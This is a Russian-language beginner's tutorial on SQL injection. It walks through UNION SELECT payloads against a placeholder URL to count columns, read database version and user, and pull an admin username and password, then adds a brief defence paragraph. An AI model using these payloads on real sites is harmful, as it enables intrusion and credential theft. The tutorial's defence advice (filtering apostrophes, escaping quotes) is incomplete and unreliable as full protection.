SQL инъекция. Меры атаки и защиты.
Статья написана для новичков у которых еще не сформировались свои наработки и привычки использования SQL инъекций. В данной статье не планируется приводить конкретных примеров по взлому конкретных сайтов, т.к. информация представленная здесь является общей и сборной. Целью статьи является донести до разработчиков сайтов возможности SQL инъекции и важность защиты от нее.
Обнаружение инъекции
Для обнаружения инъекции чаще всего пользуются манипулированием с числовыми параметрами в GET запросах, например:
http://site/site.php?group=articles&id=102
Здесь параметр id – числовой и равен 102
После выполнения этого запроса мы увидим страничку с заголовком секции «UN Session in Georgian Parliament». Проверим этот параметр на уязвимость, но вначале попробуем вот такой запрос:
http://site/site.php?group=articles&id=101
Заголовок секции теперь «'The Messenger'-World Refugee Day». Возвращаемся на предыдущую секцию (id=102) с заголовком «UN Session in Georgian Parliament». И вот тут уже проверяем на уязвимость, введем в параметре id не просто значение, а выражение 102-1, запрос в таком случае примет вид:
http://site/site.php?group=articles&id=102-1
В результате этого запроса мы попали на секцию «'The Messenger'-World Refugee Day», id которой равен 101. Что произошло? А произошло выполнение арифметического выражения 102-1=101, т.е. скрипт artdetail.php не отфильтровал выражение в значении параметра id, а выполнил его. Это и есть SQL инъекция.
Вставляем свое выражение и узнаем количество полей
Если у нас выполнилось выражение 102-1, значит мы можем вставить и другое выражение, которое будет нам гораздо полезнее, а нужно нам получить определенные сведения из базы данных. Для этого в SQL используется конструкция Select и «оператор» (извините, не знаю как еще обозвать) объединения запросов Union, а точнее Union select – это и есть конструкция объединения запросов. Еще в нашем выражении я буду использовать знак комментария /* (для MSSQL это двойное тире --, а комментарий /* надо обязательно закрывать */ ), все что идет после комментария скриптом соответственно не выполняется. А нужно это, потому что внутри скрипта на основании полученных данных формируется запрос к базе данных например:
Select * from news where sec_id=id and page=2
В данном запросе «and page=2» как минимум не нужен, а как максимум после внедренного мною в запрос выражения, приведет к неправильному отображению данных, а скорее всего к ошибке. И если поставить после id=102 знак комментария запрос сформированный скриптом будет таким:
Select * from news where sec_id=102 /* and page=2
Т.е. «and page=2» скрипт, а точнее уже SQL примет за комментарий и проигнорирует.
Теперь перейдем к Union Select. В третьих версиях MySQL эта конструкция вообще отсутствовала, но сейчас в основном распространены версии 4 и выше. Также некоторые отключают в настройках возможность использования такой конструкции, но это редкость. Важно знать, что после Union Select нужно выбирать (прописать) такое же количество полей как и в первом запросе Select, иначе нам возвратится ошибка MySQL. Т.е. нам нужно узнать количество полей. Как это сделать? Есть два или более способов.
Способ 1
после нашего запроса вводим конструкцию Union Select и банально перебираем количество полей:
http://site/site.php?group=articles&id=102 union select 1/*
Такой запрос скорее всего выдаст ошибку или просто не отобразит данные, т.к. количество полей больше чем одно. Пробуем добавить в запрос еще поле:
http://site/site.php?group=articles&id=102 union select 1,2/*
Здесь тоже будет ошибка по тем же причинам. Так каждый раз добавляем еще поле, пока данные не отобразятся корректно:
http://site/site.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9/*
Способ 2.
Узнаем количество полей до того, как используем конструкцию Union Select c с помощью оператора ORDER BY, который формирует порядок сортировки полей по номеру (и не только), поля, т.е если выражение:
http://site/site.php?group=articles&id=102 order by 5/*
не выдаст ошибку - это значит что в запросе используется как минимум 5 полей. Далее увеличиваем число после order by пока не получим ошибку.
Получаем определенную информацию.
Т.к. мы знаем что у нас 9 полей. Можно составить работающее выражение:
http://site/site.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9/*
Цифры в таком выражении нам нужны для того, чтобы узнать значение какого поля отображается на странице, но иногда после выполнения запроса ни какое из перечисленных полей у не отображается, это произошло из-за того, что секция имеет свой определенный контент, а для того что бы увидеть нужную нам информацию надо выполнять запрос в секции, которая не имеет контента, т.е. в несуществующей секции. Резонно предположить, что такой секцией может быть секция -1. Но у нас отобразились цифры 3 и 5 это и есть номера полей с помощью которых будем получать интересующие нас данные. Теперь можно узнать версию MySQL, вводим вместо цифры 3 в запросе функцию version():
http://site/site.php?group=articles&id=102 union select 1,2,version(),4,5,6,7,8,9/*
Смотрим, у нас теперь вместо 3 отобразилось 5.0.22 – это и есть версия MySQL, дальше получаем имя пользователя и сервер MySQL, для этого используем функцию user():
http://site/site.php?group=articles&id=102 union select 01,2,user(),4,5,6,7,8,9/*
Результат: root@localhost, ну и наконец имя базы данных database()
http://site/site.php?group=articles&id=102 union select 1,2,database(),4,5,6,7,8,9/*
Результат: rootbase
Узнаем интересующие нас данные
Итак, у нас есть запрос:
http://site/site.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9/*
Теперь попробуем узнать имя таблицы пользователей, делается это вставкой выражения from после нашего запроса а далее банальным перебором возможных вариантов. Если таблицы с предполагаемым именем не существует, мы получим ошибку, например:
http://site/site.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9 from blahblah/*
Скорее всего нужная нам таблица имеет имя user
http://site/site.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9 from user/*
Этот запрос нам показал только то, что существует таблица user т.к. не привел к ошибке, но чтобы получить нужные данные нам теперь надо, так же, банальным перебором узнать имена полей. А для того чтобы данные отобразились, имена полей при переборе следует вставлять в 3 и 5 поле, т.к. они у нас непосредственно выводятся на экран, причем при несуществующих именах опять же будет выдаваться ошибка:
http://site/site.php?group=articles&id=102 union select 1,2,blahblah,4,5,6,7,8,9 from user/*
зато при правильном имени поля мы увидим первое значение этого поля из таблицы а это обычно запись администратора, так и есть возьмем имя поля name
http://site/site.php?group=articles&id=102 union select 1,2,name,4,5,6,7,8,9 from user/*
Да так и есть первая запись у нас admin, а теперь попробуем имя поля passwd:
http://site/site.php?group=articles&id=102 union select 1,2,passwd,4,5,6,7,8,9 from user/*
результат: webadmin.
теперь у нас есть логин и пароль администратора, это нам было и нужно и если мы сейчас зайдем на страничку:
http://site/login.php
мы можем ввести полученные данные. Все!!! Цель достигнута.
Защищаемся от инъекции
Из вышеперечисленного видно, что единственный способ избавиться от проведения SQL инъекции на вашем сайте - контролировать все параметры на допустимость. Если параметр id может быть только числом то надо проверить его например с помощью intval(). При обработке форм или других строковых параметров необходимо контролировать и удалять html теги и символы "апостроф", экранировать кавычки. Эти простые правила позволят вам недопустить злоумышленника в святая-святых вашего сайта - панели управления.
ВНИМАНИЕ! Администрация сайта не несет ответственности за незаконное использование материалов, представленных в данной статье! Вся информация приведена только для ознакомления.

